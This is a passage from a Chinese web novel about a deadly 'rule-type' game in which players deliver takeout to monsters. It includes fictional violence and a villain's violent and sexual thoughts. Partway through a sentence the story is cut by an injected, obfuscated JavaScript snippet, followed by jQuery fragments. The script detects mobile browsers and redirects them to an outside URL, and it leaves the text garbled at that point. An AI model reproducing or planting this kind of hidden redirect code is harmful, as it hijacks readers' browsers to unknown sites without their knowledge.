汪橦看看停在四人纵形队列最后的那辆摩托车，何兆地的车钥匙仍插在车头。她略一思索，停住走向自己车的步伐，转头朝宋裴度走去。 “把U型锁给我吧。”汪橦伸出手。 “你是要？”宋裴度略有失神，没能立刻明白汪橦的举动。 “我想把何哥骑来的车一并带走，我们不能再留给李莉战利品了。任何战利品。”汪橦斩钉截铁地说。 心满意足的古淹社区像一个饱腹后终于困乏的人，昏昏欲睡，没有精力去深究送达订单后的外卖员为何停留在这里。 这头宋裴度不像往常生人勿近的模样，还在轻声安慰着潘海祥。汪橦将自己对潜在规则的猜测转告给宋裴度和潘海祥，两人尚未动手阻止冲动的汪橦，便目睹汪橦只身翻进花园的藩篱，身影消失在花园中。 咚咚咚……咚咚咚 汪橦知道李莉早已察觉自己进入了009幢，却根本不搭理自己，这说明？说明她猜对了。李莉不能再吃自己，又不想和她虚以为蛇，因此装聋作哑，鸵鸟心态。 汪橦将背在身后的另一手拿出，手中握着一瓶酒，空闲的手从上衣口袋里摸出一只打火机。 她露出一个标准的微笑，喊话道：“李莉，你饭也吃了，人也吃了。是不是该给我们一个五星好评？就一个普通的订单已完成便想打发我们，还让我们明天继续过来送死？没有这样吃亏的道理。我的手机什么时候接收到五星好评通知，我们什么时候走。给你一分钟时间，一分钟以后我要烧了整个古淹社区。” 009幢=李莉，因此009幢和李莉五感相同。汪橦将酒瓶盖扭开，倒出一部分在草坪上，举着打火机靠近。草在无风的空气中颤抖，李莉缩在别墅里感受到火舌子逼近自己的脸。 “大胆！即便我今晚吃不了你，你不怕我将你拖进屋中明天再吃？”聪明人不说二话，李莉猜到汪橦已经知道自己遭受系统规则的束缚，今晚不能再对几个人类大开杀戒。因此她选择威胁这个小小的人类。除了李莉谁也不会知道系统规则对它们这些怪物的束缚究竟是怎样的。 汪橦不废话，直接将打火机倾斜在草根斜上方。她想赌一赌。 李莉今夜当然不能再抓人，否则她会被系统惩罚。吃人都是小事，最要紧的是她不能失去古淹社区。倘若汪橦没有拿着火威胁她，她大可坚持不给好评，与人类僵持，反正系统强制要求人类明天依然要送吃的。可是眼下大火临门，人类大有同归于尽的架势。好吧，李莉妥协了，为了再多吃几天鲜美的人肉，她可以稍稍损失一个好评。但人类是怎么发觉自己怕火的？ “叮！” 汪橦和花园外的宋裴度、潘海祥同时收到来自手机的提示音，打开APP一看，是第二个五星好评。一墙之隔的马路上，在汪橦看不见的地方，宋裴度、潘海祥同时打开系统界面： 【玩家：宋裴度 主线任务：2/12（进行中） 副本名称：人生百态之外卖员七日谈 类型：规则类 副本描述： “从空气里赶出风 从风里赶出刀子 赶时间的人没有四季 只有一站和下一站 世界是一个地名 泥呷市也是……” 玩家们将体验一位普通外卖员的一周，请注意：拿到三次五星好评（2/3）或七天配送成功（2/7）皆视为任务完成，即可通关。】 【玩家：潘海祥 主线任务：4/12（进行中） 副本名称：人生百态之外卖员七日谈 类型：规则类 副本描述： “从空气里赶出风 从风里赶出刀子 赶时间的人没有四季 只有一站和下一站 世界是一个地名 泥呷市也是……” 玩家们将体验一位普通外卖员的一周，请注意：拿到三次五星好评（2/3）或七天配送成功（2/7）皆视为任务完成，即可通关。】 由于系统检测到有玩家身亡，更新提示如下： 【隐藏规则： 一：李莉想吃拉面，但她是一个机会主义食客，她捉什么都正常。 二：李莉的蛛丝会掏出一堆珠宝掉在人行道上，不要试图拿珠宝，尤其在无法确定卷须是否退回屋内时。李莉善于抓住机会，当你碰到她的珠宝时，显然是个极好的机会。 三：千万别让李莉的蛛丝抓到你，一旦它们吸住你，就完了。 节哀，玩家们！ 肩负着悲痛与荣誉前进，胜利终将属于你们……】 6. 古淹泥潭（4） 潘海祥是剩下三人中跟何兆地感情最好的人。他情感上仍旧处于悲痛之中，但理智提醒他作为一名通关三次副本的老玩家必须尽快恢复镇定。 汪橦一踏出花园，映入眼帘便是潘海祥紧抿着唇，一言不发的模样。见她出来，两人微松口气却不敢也不能迈步上前，直到汪橦走到马路中间，离人行道隔出一段距离。 “你刚刚做了什么？为何李莉今天又给我们所有人好评？”宋裴度担忧地询问汪橦。同时他的眼睛紧张地扫视了汪橦的周身，似乎是在确认她到底有没有受伤。 汪橦眨眨眼，示意三人先离开这里。宋裴度看到她还有心情调皮，便知她的确没受到任何伤害，于是拉上潘海祥跟着骑上自己摩托的同时车后还牵着何兆地遗物的汪橦，一路骑出古淹社区。这一次，身后社区里，李莉安安静静，没有发出任何动静。 汪橦回身掏出一把小草——这是她顺手牵羊从李莉花园里薅的。 “昨晚我无意间触碰到古淹社区外墙，发现墙上布满水汽，十分潮湿。那个时候我单纯以为是凌晨气温的缘故。可是今晚，听到餐厅老板的描述，我得知他口中古淹社区里的路仿佛像沼泽地。” 宋裴度若有所思，开口问：“所以你认为整个古淹社区都是跟水有关？李莉也是和水有关的怪物？因此你通过放火威胁她？”汪橦已经告诉他们两自己是如何威胁李莉给出五星好评的。 汪橦点点头随即摇头： “你们的规则上说李莉会变形，老板说李莉在不断学习进步。我猜测，一开始古淹社区整个路面都是潮湿、黏腻、恶心的，但是轮到我们送外卖时，她已经将内外用一道石墙分割开，只有石墙透露出她的本体。她在不断学习更好地变形，以放松人类的警惕心。至于你说的李莉和水有关，我认为是的。所以我推测她怕火，故而出此下策。” 宋裴度一阵后怕，汪橦好大胆，明明只是推测却以身犯险。同时他感到疑惑：“可是我们明明已经完成了今日的订单，你实在不必冒险去尝试得到好评啊？” “虽然你和我们不同，但如果你也死了，这支队伍就只剩我和宋裴度两个人。明天不要再这样冒险！”久久不说话的潘海祥蓦地发声。他极重感情，虽然有时莽撞，总体而言确实是一个有情有义、有勇有谋的汉子。 汪橦听到他这么说，自是不忍再因自己的事给对方带去什么情感上的麻烦，只得答应称是，承诺自己会提前通知各位后行事。 她继续说：“李莉的能力我们不熟，今天一个不小心，何哥就牺牲了。明日呢？后日呢？如果今晚不尝试拿到好评，你们还有五天，五天里假如……”汪橦神色微动。 “总之，我认为值得一试。你们的任务不是说拿到三次好评就可提前脱离副本，顺利完成任务返回玩家基地吗？我想让你们提前走。” 宋裴度和潘海祥听完陷入沉默，汪橦所言中肯，尽管他们不会坑害汪橦这个NPC，但是眼下两人只差一次好评就可离开，自然没道理继续待够七天陪汪橦送餐。返回玩家中转地后，汪橦的生死存活与两人再无干系。 那他们也不必推脱汪橦想提前帮助他们完成任务的好意。宋裴度、潘海祥坚定了眼神，发问：“明晚你打算如何做？” 汪橦不说话，默默按下打火机。一簇火苗倏地窜起，点燃了草根，她松开手，一整把草随着火焰由下而上蔓延，由下而上化出原形——蛛丝。 “明晚的事明天交接时再说，我白天有件事想先去做。” 宋裴度和潘海祥不是蠢人，看到俨然烧成灰烬的东西，心中隐隐有了猜测。打定主意后，三人还是决定各自早早回去歇息，明早十一点在市图书馆门口集合。至于何兆地的摩托车，被汪橦放在了好特卖公司的车辆工具寄存处，挂上小小的刻着“何兆地所属”五字车锁。 是夜，汪橦沉沉睡去。她仿佛置身于一片黑暗，远处有一束光。她意识到这是她的梦，梦里如果自己动手动脚，醒来会更累。所以她一动不动，继续待在属于她的那份黑暗里。远处的光束意识到眼前人的脾性，顺从地快速从远处移到汪梧桐面前。 汪橦的身子陡然一晃。她忽然觉得好像在哪里见过这团光球。耳畔熟悉的温柔轻轻响起：“橦橦，你好善良。你为什么要这么善良？你会死吗？” 汪橦听到最后一句反问，差点生生从梦里惊醒，硬是被一股更强大的力量按住继续沉睡在梦里，一直到天亮。 另一边，潘海祥的宿舍和汪、宋两人不在一处，他独自朝员工宿舍走去。他的员工宿舍相较于汪、宋二人宿舍离好特快公司更近，宿舍对面的街上还有一家深夜营业到凌晨三点半才关门的烧烤店。 他与何兆地还没进入这个游戏时，两人经常周末约着吃烧烤。何兆地早成家，因此周中尽量避免在外跟潘海祥等人吃喝玩乐太晚。用他的话说，老婆孩子还在家里等着他回去。 后来，老何媳妇年纪轻轻不知道怎么回事得了重症晚期，查出来不过短短半个月，人瘦得形销骨立，家里四老一小全得何兆地安抚、照顾。潘海祥知道后，二话不说微信转账了一万过去，聊表心意。但老何怎么也不肯收，他妻子的重症查出来的基本药石无医，心意领了，但是不愿让潘海祥破费。 潘海祥念及此，想到正是同一天何兆地在医院大门处告别潘海祥时，两人被失控卷入了这场游戏，他浑身发抖，咬紧牙关不肯落泪。 十二次主线任务，加上十二次支线任务，何等艰巨。他如今才第四次主线任务，一次支线任务都没有经历过。剩下的游戏都得自己过了……他一定要通关，带着财富和健康回现实世界！如果能治好弟妹，也算了却何兆地的一桩心愿吧。潘海祥走进街对面的烧烤店，要了一瓶啤酒。 今夜，尚且漫长…… 宋裴度回到宿舍，细致地将自己从上至下清洗了一番，他厌恶死亡的气息，尽管他不曾目睹何兆地被李莉残忍撕碎的画面，但光是看见他身子被卷住的一幕已足够让他知晓接下来的事。他厌恶抽象的死亡正如他热爱抽象的希望。他笃定自己可以活到通关，哪怕这仅仅是他的第二个副本游戏。不过在通关游戏前，宋裴度首先需要保证自己睡眠充足。 第三日白天，三人按照第二晚回宿舍前的约定，准时在花园区的泥呷市图书馆大门口集合。 汪橦拿着手机对另外二人提及进入图书馆后他们应当分别负责“志怪民俗”、“神话传说”、“地理生物”各一版块去查找书籍。重点找和动物有关的故事，尤其是蜘蛛。 三人细心查找了两个多钟头，在馆内的不同楼层间的楼梯口分享各自的发现。 宋裴度负责的“志怪民俗”中有一篇专门讲地蜘蛛这种生物，大致内容是说大陆上曾有一个强大的古城名叫“目童”，它的威权震慑四周的部落。于是为了防止目童对自己的武力征服，周围的部落自发朝见目童的城主，献上珍贵的礼物以示俯首称臣之心。而那些不愿屈服于目童的部落子民则被目童人蔑称为——“地蜘蛛”。因为目童人自恃为神的子民，瞧不起那些部落原始人所住的土房子，认为他们就像蜘蛛住的巢穴一样恶心。 而汪橦的“神话传说”中则涉及了不同文明体系中有关蜘蛛的传说。只是这些传说里提到的蜘蛛习性和能力与李莉都相去甚远——其中，有的居于陆地高山，喜干、耐寒，长时间不进食，因此多为北边高寒之地的古老子民崇拜；有的毛骨悚然，体型巨大，擅长从阴影之中袭击猎物，栖息在地底洞窟和原生林。 相较之下，潘海祥负责查阅的“地理生物”似乎最为贴近——异世界存在“海蜘蛛”这样的节肢动物。海蜘蛛栖于海滨，常匍匐于海藻上或岩石下，见于3600米深海处。海蜘蛛与陆地上的蜘蛛有着很近的亲缘关系，以细长的足在海底爬行，有的能踩水。 但是，根据老板的讲述，古淹社区似乎是从沼泽化形而来。而海蜘蛛栖息于深海，深海与沼泽能一样吗？ 宋裴度打消了汪橦的顾虑：“或许，作为游戏，这些书本上的设定只是给我们的参考。而李莉是这几者的综合呢？” 他指向正被汪橦放在楼梯间栏杆上的神话传说类书籍：“你们看这页提及目童城内曾有一个樵夫在水边休息时，发现一只蜘蛛屡次从水中爬出并在其脚上吐丝。他以木桩假装替代自己的腿，缠上蜘蛛丝后，结果木桩被拉到水底。这个故事的蜘蛛与当地人水神信仰有所关联。是不是和李莉蛛丝卷走人的过程很像？” “这里是河，和沼泽一样都是淡水、浅水。而…”宋裴度又指着自己手中有关“志怪民俗”的书，示意汪橦和潘海祥看：“目童的百姓出城后常常为多种多样的声音所诱惑，走近却发现是地蜘蛛们的陷阱，目童百姓被掳走众数。” “虽然是真实历史的抽象，但是是不是和李莉能变幻声音、形状的特点符合？”宋裴度问向两人。 汪橦和潘海祥点头，他们被宋裴度认为李莉是几者抽象出来的共同体理论说服了。毕竟，图书馆的书确实可以看作是玩家们副本里的协助线索。 与此同时，汪橦缓缓开口：“其实我还有一个想法。生物书上说海蜘蛛并不能通过看的方式进行捕猎，只能感应到热成像，和依靠嗅觉捕捉小型猎物。如果李莉也具备这些特点……” 一番解释后，宋裴度勉强接受汪橦的提议。原因无他，宋裴度有洁癖。而汪橦的提议实在是……潘海祥倒是无所谓，只要能完成任务，这种小小的“牺牲”何乐而不为？ 时间过得很快，三人采购完汪橦要买的东西便侯在了好特快公司里。直到交接时，相比第一天下午，此时大厅里外卖员的人数明显减少许多。汪橦没有忘记昨天发现负责外国人那组的四个外卖员里少了双胞胎兄弟，今天她特意用眼神寻找，发现又少了一位。 今天的经理不像昨天兴奋，他似乎恢复了往常的理智，冷静下来同样注意到自己的队伍里少了许多人。他点了一遍名字，汪橦知道原来昨晚负责Cassandre的组消失的是董坤。现下，他们组只剩那位钱逐昊。 汪橦站在队伍末，偷偷打量钱逐昊。对方神色平静，似乎完全没有受到同伴死亡的影响。汪橦笃定李鹌、李鹑、董坤三人定是死亡的原因在于，今晚是配送订单的第三天夜晚，根据宋裴度、潘海祥的任务要求，即使玩家再怎样出色，也不会早于今晚提前通过副本。 不止汪橦，宋裴度、潘海祥，和另一组的四位玩家都在注视着钱逐昊一举一动。可这人完全不受影响，心平气和地站在原地不动。 汪橦正要收回视线，忽然察觉出有一道同样窥视的视线顺着她的角度攀过来。这股视线的存在感十分强烈，不容她忽略。汪橦脊梁紧张，有些发麻。她偷偷看回去，却猝不及防和钱逐昊眼神相撞，对方见状丝毫不惊讶，反倒嘴角噙笑，向汪橦轻微点头示意。 紧接着，钱逐昊举起手：“报告张队！我，想请求支援。” 张队走近示意他有什么要求就提，自己会尽力满足。他不想再看到跟随自己的同事们接二连三再少下去…… 汪橦心里一紧，不详的预感涌上心头。钱逐昊继续说到：“张队你能否调他们组”，他手指向站在汪橦前排的宋裴度和潘海祥，“的汪橦来帮我一起配送订单呢？” 汪橦、宋裴度、潘海祥俱是一惊。潘海祥直接捋起袖子，中气十足地拒绝：“不可能！没看见我们组昨天也少人了吗？你把汪橦调走补你捅的篓子，休想！” 可领队脸上却有松动之意，见他想要开口，汪橦急忙出声：“张队，我要和自己的同伴一起！我们已经配送两天培养出不小的默契。你不能说调走就调走我！你看他那队，两天死了三个人，偏偏他自己完好无损。他甚至还笑！” 未尽之意，在场的玩家都懂——这个钱逐昊怕是前两天晚上分别坑害了双胞胎和董坤。或许第一天，他说服了董坤推波助澜，并让其相信两人达成了同盟合作的关系。但是第二天，他依旧趁董坤不注意害了他。 汪橦一番话放在现实世界中颇有道德绑架的意思。怎么能强求一个人因为才认识几天的同事死去而伤心呢？但钱逐昊不仅仅是伤心，玩家们多多少少都经历过几次副本，大家感受得到他浸润在一种名为愉悦的情绪里。什么样的玩家会看见同类死去而愉悦？ 正常的玩家，例如潘海祥，看见何兆地的死，只会物伤其类，关系更亲密的会产生愤怒自责。只有某一类具备反社会特质的玩家才会感到愉悦。 领队是这个世界的NPC，老实说，汪橦现在发现这个世界的NPC行径前后并不能严格保持一致。按照领队前几天的人设，他是一个对属下负责的好队长，但是现在他显然并未被汪橦的质疑打动。领队坚持让汪橦去帮助钱逐昊，理由仅仅是汪橦、宋裴度、潘海祥一组的折损率不高，他们完全有余力帮助更多需要的人。 汪橦：？？？ 所以说，这个世界的NPC脑回路实在是捉摸不定。汪橦每次都自我怀疑她要如何在这个异世界好好生活直至自己通关成功返回地球…… 领队以不容置疑的姿态领着汪橦跟钱逐昊一组，汪橦不能明目张胆地抵制领队慷他人之慨的决定，只好老实照做。 钱逐昊看到汪橦向他走来，几乎抑制不住嘴角的笑。等到一群人解散，汪橦再也没能找到机会偷溜回去，于是掏出手机敲打着屏幕，叮嘱宋裴度、潘海祥晚上将他们白日所准备的东西派上用场…… Cassandre家处泥呷市另一行政区划——草坪区，草坪区和池塘区相邻。Cassandre钟爱草坪区的中州牛肉拉面，口味比李莉正常多了。除了她喜欢加小料，例如冻老鼠、鸡骨头。于是最后变成汪橦手拎着两大袋，肩上还扛了三袋小料，颤巍巍地艰难挪动上车。 汪橦认为一般人会选择避开Cassandre，躲在钱逐昊身后，避免将后背露给他。但她偏偏想反其道而行之。 钱逐昊坑队友的同时丝毫不忌讳其余玩家的看法，甚至他今日一举一动堪称嚣张。他当众要求汪橦补队，是摆在台面上的阳谋。说不定自己的躲避行为正中下怀，加上他不可能告诉自己规则，汪橦自然要主动出击搏得生机。此外，汪橦好奇Cassandre是什么样的规则怪谈生物，能够两夜杀三人。 草坪区相较于池塘区，多住中产阶级。因此Cassandre的家并非在小区内，而是直接在路边的一栋商业公寓里的十六楼。 钱逐昊下车后微微挑眉，冲汪橦道：“请吧。” 汪橦面色冷硬的下车，站定他对面，一动不动。 钱逐昊发现汪橦并没有搬小料的意思，好奇地问：“你不打算把这些扛上去？” 汪橦冷笑：“你需要我帮忙的事是帮你通关，我自然不会帮你干这些杂事。” 钱逐昊一乐，似乎没想到对面这个女生胆子挺大，认命似的扛起五大袋。 两人等电梯时，他撇过头盯着汪橦：“你难道不好奇我为什么那么多人里偏偏选中你吗？” 汪橦继续保持冷漠：“不感兴趣。” 钱逐昊噎住，他开始对汪橦的不识时务感到不耐烦——如果她能像昨晚的董坤跪下来涕泗横流地恳求自己，他不是不可以考虑今晚留她一命。他想看到的这个女人撕开脆弱的面具露出柔软的企图失算了。 钱逐昊露出獠牙：“因为所有人中，你们组另外两个会下意识挡在你身前。我很好奇，你有多特殊让他们愿意护着你？” 钱逐昊舔舔略发干的唇，作死道：“难道你一个美女对着你们组那几个大老爷们献/身了？于是昨晚把另一个男的弄死，就为了少一个人分享你……” 话音未落，汪橦抬手干净利落的一巴掌扇到钱逐昊脸上。她仔细打量着这个敢在她面前口出狂言的贱/男人，对方外表戴着普通的眼镜，身着格子衫、休闲裤，怎么看都不是一个登徒子，遑论杀人犯。想都不用想，汪橦顺手又给了一巴掌。 钱逐昊没想到汪橦在这种境遇下敢扇自己，奈何他双手双肩都不得空，被口袋死死勒住，根本抽不出手，只能生生挨了汪橦两掌。 “好，好。”他挤出四个字，似笑非笑。汪橦毫不在意地拍拍手，像是沾上什么恶心的东西。 “叮。”十六楼到了，电梯门缓缓打开。 汪橦一个闪身从几口袋的缝隙中溜出电梯，溜出前她快速用右手按了什么。钱逐昊未看清便被合上的电梯门关在厢内，向下驶去。他定睛一看，象征“一楼”的按钮闪烁发光。 汪橦要趁钱逐昊反应过来的短短十几秒，快速查看十六楼的环境。从玩家不得不将车停在公寓楼下时，她敏锐地意识到Cassandre的关键不在于逃生。人跟怪物比谁更快地跑下十六楼吗？ 她的直觉告诉自己，钱逐昊很可能跟Cassandre达成什么协议，只要他帮她诱捕食物，她就不会杀钱逐昊。 等等！ 汪橦警醒自己，这是一个规则类游戏。钱逐昊只需要让队友不小心破坏规则就行，根本不用她想的那么麻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806242|158531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦。 一旁的电梯下到七楼，数字短暂停住，接着重新上升。七、八、九……快想，快想！汪橦紧急头脑风暴。 十六楼到了，叮，电梯厢门已开。钱逐昊脸色阴沉，扛着袋子走出电梯。霎那间，他面色一变：“人呢？” 他原本想出来后让汪橦知道明明处于劣势还要逞威风的后果，可眼前只有空白的水泥地，和一梯一户的铁门。他连汪橦的影子都没能看见。但是汪橦一定躲在公寓的绿色通道附近，他会走过去把她狠狠揪出来，踢倒在地，扯下那个敢打他的婊/子/的衣服，朝她的腹部踹去，直到这个婊/子/的身体咚咚敲开Cassandre的门。 钱逐昊未及时收起他的思绪，便被门后传来的一声开锁响动打断。不会吧？他僵硬地看着门吱呀一声后缓缓被门内的生物拉开。在门彻底拉开的瞬间，钱逐昊下意识屏住呼吸。一道巨大的阴影投在地面上…… 汪橦躲在绿色通道门后的阴影，小心露出一只眼睛看向铁门。 Cassandre是一个巨大像小山般的尸块，从浮肿的肉皮上下起伏来判断，Cassandre可以呼吸。它浑身蠕动着，仔细观察会发现它不过是无数小的尸体融合组成的巨大尸块。不同死去的动物毛皮覆盖在尸块各处，像一床可怕的被子不规则地延伸。它身侧有三条长短不一的蹄子，看来刚刚就是其中一只蹄子压下门把手。头顶大约有二十只兔耳朵，四个鹿角，八张裂开的大嘴，足足塞满整个尸块前端勉为其难称之“面部”的空地。 尸块身躯庞大，移动速度不低。汪橦趁尸块走出门外时快速看向它的身后——它的背上装饰着无数鸡翅膀、鸟翅膀、各种死去动物的爪子，最后拖着一条奇怪的鱼骨尾巴。尾巴上勾着一个脏的发出腥臭的麻布袋。 Cassandre开口说话，声音同时从八张嘴响起，汪橦脑子一瞬间像是被狠狠敲了一棒，耳畔嗡嗡作响。她离得远，没能听清对方说的话，只看见钱逐昊脸色煞白，豆大的汗冒出。汪橦不禁嗤笑一声。 尽管立刻敛住笑，可汪橦仍被Cassandre听见。她心想这死尸，没了眼睛，耳朵倒是非常灵敏。她闪身后撤，趁那团尸块捉住自己前，迅速朝前扔出一个空空的易拉罐。 易拉罐骨碌碌地滚到钱逐昊脚尖停下。尸块停住转身再次移动回钱逐昊身边，蠕动起伏，频率愈加快。钱逐昊将袋子早已放在了地上，汪橦见他似乎放下心不担心尸块对他做什么，用脚往Cassandre身体上踢了踢，心道难道这怪物不是根据声响判断活物？ 说时迟，那时快。钱逐昊突然径直看向汪橦所站的阴影，和她四目相对。钱逐昊起手，一道银光闪过，她下意识侧身。定睛一看，腰侧的衣服竟被飞来的小刀划破一个口子。 汪橦这一侧身，直接从阴影里探出半个身体到门外。尽管她控制没有发出声音，Cassandre却像目光锁死她似的，直直冲来。她下意识捡起地上的小刀，再次朝钱逐昊扔去。 钱逐昊完美躲开小刀的袭击，实际上汪橦也没报指望能真伤到对方，她只是不想被怪物攻击的同时遭受人类的背刺，拖住对方几秒俨然达到她的目的。汪橦此时已跑向了十五楼，却突然听到“咔唧”声后钱逐昊发出巨大的一声惨叫。 汪橦心念一动，发现尸块没能追来，转身向上再次躲在阴影处偷看。钱逐昊似乎是躲刀后没注意脚下的易拉罐，跌了一跤。结果他的长裤被易拉罐勾住，露出他光溜溜的一截小腿。恶心的肉块吸附在他的小腿肚上，整个尸块压着他的身体，钱逐昊已经看不见面部表情…… 汪橦忽然意识到钱逐昊和自己究竟哪里不同。他们两个分别身着长袖长裤和短袖T恤九分裤。汪橦刚刚被Cassandre攻击也是因为衣服划破露出皮肤。所以这个尸块的攻击规则在于人类的露肤度？ 这倒容易解释昨晚董坤是怎么被钱逐昊坑的……钱逐昊只需要趁董坤不注意的时候，随便扯掉他半边衣服就行。第一晚，很可能是李鹌、李鹑两兄弟因为短袖露肤度被攻击后，启发了剩下的两人……难怪钱逐昊信心满满能再找人送命，这条规则如果不是原队伍的玩家，其余玩家很难猜出。自己今天运气不错，阴差阳错地让钱逐昊成了替死鬼！ 只是，现在负责Cassandre的玩家全部死亡，Cassandre这个副本BOSS般的NPC会消失吗？汪橦没有轻举妄动，仍谨慎地躲在原地观望。 可出乎意料的，名为Cassandre的尸块并没有像现实世界游戏里的BOSS在玩家下线或通关后消失，而是慢条斯理地解决完钱逐昊后，伸出身侧的三条蹄子拖着口袋里的面和小料朝公寓内走去。她意外地从它面部感觉到一丝满足。 果然这个世界的所有生物对玩家是NPC，但对于她而言却并不是。他们是真真切切和汪橦一样的“原住民”。玩家们回去后，汪橦仍会在这个世界和NPC们相亲相爱相处一辈子…… 等到庞大的尸块终于消失在房门后，汪橦小心翼翼地挪动脚步至电梯前，钱逐昊已经完全消失，连一丝血迹也不曾留下。她畅通无阻地抵达公寓楼下，后知后觉想到钱逐昊的车可以拿去二手市场卖掉，小挣一笔，不过这都是后话。当务之急仍是去一趟古淹社区，看看宋裴度、潘海祥的情况。 【玩家：钱逐昊（已死亡） 主线任务：3/12（失败） 副本名称：人生百态之外卖员七日谈 类型：规则类 规则描述： 1.在去Cassandre的居所前，一定把你自己从头到脚裹得严严实实。你的每一寸皮肤都不能被看到，确保它不能以任何方式轻易被看见。 2.建议送餐时戴上护目镜或墨镜。 3.Cassandre拿餐时，第一件事会彻底搜查你一遍，不停拽着、抓住你，保持冷静，不要被看见衣服下摆。运气好的话，它什么也看不见，送餐会继续。 4.别让它看见你的眼睛！ 5.有些东西是你看到了却宁愿没看过的，Cassandre进食就是其中之一。】 沉甸甸的云终于坠落大批雨水，砸在过往行人身上。汪橦没有雨衣，骑着摩托一路穿行在密集的雨幕中。 雨滴从屋檐滑落，淹没了水沟，把这座城市沟壑里的脏东西冲刷得一干二净。汪橦薄薄的一层衣服面料此刻吸水后紧贴着她的胸膛，肩部的位置变得沉重，是以入夜后的寒冷一路钻到皮肤之下。汪橦略微颤抖，仿佛整个城市跟着她一起颤抖。 古淹社区静静地伫立在寒冷的黑暗中，像一张爱情的脸庞，引诱着无辜者。 汪橦打开手机聊天界面，二手机显然待在汪桐口袋里等同于遭受了一遍水洗，俨然进水卡住。无法联系上宋裴度和潘海祥，算算时间，两人应该还等在拉面店处，于是她靠在车旁等待。 她用手指插入湿润的发根，从前往后捋顺，仰头让雨水尽情顺着脸颊而下直至没入领口……难得的片刻宁静，汪橦身处天地间的潮湿之中，仿佛同样变成这潮湿的一员。古淹社区若隐若现的咸腥味在铺天盖地的雨水里更加浓郁，浸透了汪橦的衣料。 汪橦漫不经心地想：这倒是和她们的计划不谋而合。 今日的李莉仿佛存心要让他们多淋会儿雨，迟迟不肯点餐。直至凌晨，大雨转阴，天寒浸浸的时刻，宋、潘二人终于拎着面食出现在古淹社区路口。两人见到汪橦全须全尾出现，皆浮现惊喜之色。 “这么快就解决了？”宋裴度发问。 “对，他死了。” 潘海祥艰难地从车上拖下一个大蛇皮口袋——“小汪，我们已经把东西准备好了。你看是现在就用还是稍后？” “现在吧！”汪橦坚定地说。 蛇皮口袋的结一松，一股下水道味扑面而来，直冲三人天灵盖。强压下想吐的欲望，三人披上塑料雨衣，又先后拿起水瓢从蛇皮口袋中舀起稀汤寡水的秽物倾倒在雨衣外壳上。 将蛇皮口袋里的东西舀得不剩什么以后，潘海祥打结将其丢在“古淹社区”标志下方。宋裴度脸色稍霁，他实在难以忍受这股粪味。蛇皮口袋里装的是三人白天特地去农贸集散市场找了农户买来的新鲜肥料。 在图书馆，汪橦根据“海蜘蛛”的生物特性猜测李莉只能凭借热成像和嗅觉捕捉猎物。尽管他们无法避免被发现热成像，但是可以尝试干扰李莉的嗅觉。此时三人不知道很快他们就会赞赏自己的先见之明…… 7. 古淹泥潭（5） 踏上宽阔的柏油路，眼前场景骤变：马路表面升腾起无数咕噜的泡沫，宛如一缸煮沸的石油，散发出腥臭闷热。路面融化，被沼泽吞噬。三人情不自禁想要退回马路边缘——古淹社区入口，汪橦下意识回头却发现已无来路。古淹社区的石墙急速拔高，形成一道密不透风的石障，咬住沼泽的边缘，阻止他们逃跑。 原本马路两侧的别墅被幽深的洞穴取代，黑雾弥漫在整个社区里，让人看不清里面藏了什么。三人只得小心按记忆里的方向朝009幢别墅挪动。沼泽地覆盖了一层厚厚的枯枝落叶，踩上去分外松软，双腿不小心就会陷进淤泥里。只是三人因着身上的臭味竟和这处沼泽的腥臭混在一起分辨不开。 今夜李莉与他们已是图穷匕见，毫不遮掩地变换009幢别墅的形态等待三人自投罗网。 潘海祥改拎为举，用肩膀顶住食盒底部，走在汪橦和宋裴度身前。倒不是他怜香惜玉，以身试险，而是在场三人中他最高，他怕汪橦、宋裴度举着食物不小心陷进淤泥里污染了食盒。即使双方都想今夜置对方于死地，但是副本里最基本的要求必须满足——送达李莉的外卖订单。 在潘海祥、宋裴度二人的威逼下，拉面被老板“主动”加了点料。原本担心老鼠药味道太重，但是今夜整个古淹社区大变样，刺激的臭味反倒彻底掩盖住食物的异常。 【规则二：不要接近李莉的住所！】 连系统原本设定的安全区马路都被李莉强行吞噬，她们要怎样满足规则二的要求？三人不得不小心翼翼地远离四周隆起的土堆，笔直向前移动。 等等！ 汪橦灵光一现：如果现在她们眼见的古淹社区都已经是被李莉的住所吞噬掉，那如今这副样子，她们只怕是踏进来的一瞬就触犯规则，被李莉吃了。 现在她们安然无恙说明李莉的住所仍然被限制在009幢别墅范围里，系统对她仍然有强制性！不过强制力度正随着时间的推移被削弱，从被沼泽化的安全区足以看出……她们得速战速决。 没错，三人白天从图书馆出来后，以汪橦为首想出一个馊主意，李莉是蜘蛛怪，她们为何不尝试物理消灭呢？时间紧迫，三人只能给她端上老鼠药拌面，来不及寻找是否有专门的灭蜘蛛药。 经历过昨晚的威胁，李莉今夜想必无论如何都不会给她们好评，倘若能杀死李莉后拿到她的手机点好评，宋、潘二人也能提前通过副本。自然她们也有心理准备，实在不行只能再送四天，满足最低要求通关。 可惜天公不作美，否则汪橦真想试一试火烧古淹社区。 【规则五：古语云，灯下黑。】 灯下黑：原指照明时由于被灯具自身遮挡，在灯下产生阴暗区域。现引申为：人们对发生在身边很近事物和事件没有看见和察觉；也多用来指越是危险的地方反而越安全；亦指企图窥视对方的暗地里。（摘自百度百科词条解释） “好了”，汪橦激动地搓搓手，事到如今进展飞快，她虽紧张却肾上腺素飙升，心中感到无比刺激：“让我看看，你到底指的是哪个具体的含义呢？规则……” 三人悄悄走近记忆中009幢外，这里如今已是分不清哪里是安全地带了。汪橦尽可能地贴近印象里马路与人行道的分界处，她示意潘海祥同自己一道深吸了口气，双双将头埋进沼泽里，只露出一双眼睛瞧着远处的动静。 汪橦打开了二手机，神奇的是，之前二手机被雨水淋透得打不出另外两个人的电话，现在却可以顺畅地打开APP点下虚拟号码的拨通按键。 对方不曾接通，在铃声响起第一次“嘟”后径直挂断。 安静的气氛中，三人听得厚重的实木大门缓慢推动发出的吱呀声。窸窸窣窣的爬动声，混合雨水滴落的声音，由远及近。 